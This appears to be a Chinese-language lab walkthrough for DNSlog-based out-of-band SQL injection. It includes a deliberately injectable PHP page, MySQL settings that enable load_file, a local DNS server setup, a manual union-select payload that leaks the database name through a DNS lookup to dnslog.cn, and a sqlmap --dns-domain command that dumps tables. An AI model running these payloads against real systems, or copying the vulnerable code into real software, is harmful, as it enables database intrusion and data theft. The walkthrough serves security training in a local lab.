sqlmap结合dnslog注入
环境搭建
1.phpstudy
去官网下载安装
2.注入点
test.php
<?php
error_reporting(0);
$link = mysqli_connect('localhost','root','root');
mysqli_set_charset($link,'utf8');
mysqli_select_db($link,'seacms');
$id = $_GET['id'];
$sql = "select *from sea_admin where id =$id";
$res = mysqli_query($link,$sql);
?>
3.配置mysql
查看配置
show variables like '%secure%';
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
所以修改C:\phpstudy_pro\Extensions\MySQL8.0.12\my.ini
添加secure_file_priv=""
重启mysql
4.在线doslog网站
http://www.dnslog.cn/
https://dnslog.io/
这里使用http://www.dnslog.cn/
演示
5.sqlmap结合dnslog
因为域名去年过期没有续费,现在买域名还需要实名认证要等几天,这里就本地进行复现
这里使用三台虚拟机,在公网是一样的效果
1.kali(使用sqlmap)ip 192.168.164.135
2.win2008r2(靶机)有注入点 ip 192.168.164.138
3.win2008r2 (dns服务器)ip 192.168.164.157
这里1,2的配置和上面一样,3需要设置dns服务器
安装dns服务器
在服务器配置角色中选择dns服务器
点击下一步,勾选dns服务器
连续下一步,之后点击安装,等待安装…
安装完成之后在开始管理工具中选择dns管理器
右键,属性
在监视中对测试类型打钩
在正常查找区域中右键选择新建区域
设置新建区域名称
继续默认下一步就可以
进入我们设置的域名,右键,新建主机(A记录)
设置域名,这里的ip地址为kali的ip
继续添加
因为这里是本地模拟,所以需要修改靶机的dns服务器为我们设置的dns服务器
在kali执行
tcpdump -n port 53
在靶机执行
ping test.hacker.top
在kali看到了数据包证明成功
添加转发(关键)
在条件转发器上右键添加条件转发器
ip是kali 的ip,之后点击确定
在靶机执行
ping test.hacker1.top
kali有显示即可
复现
手工注入
这里是本地复现,所以就直接进行注入,省略了一些基本操作
http://192.168.164.138/test.php?id=1%20union%20select%206,load_file(concat(%27\\\\%27,(select%20database()),%27.4ixgqh.dnslog.cn\\abc%27)),3,8,5,6,7,8
select%20database()
是我们的注入语句
可以看到在dnslog平台已经有了回显
sqlmap的–dns-domain参数注入
接下来在kali使用sqlmap
sqlmap -u "http://192.168.164.138/test.php?id=1" --technique=T --dns-domain "hacker1.top" -D seacms --tables
速度非常快就会出现结果
参考文章
https://www.cnblogs.com/cwkiller/p/12794390.html
https://www.cnblogs.com/depycode/p/5954904.html
https://www.cnblogs.com/426-fly/p/11097063.html
https://blog.csdn.net/xiezuoyong/article/details/97272059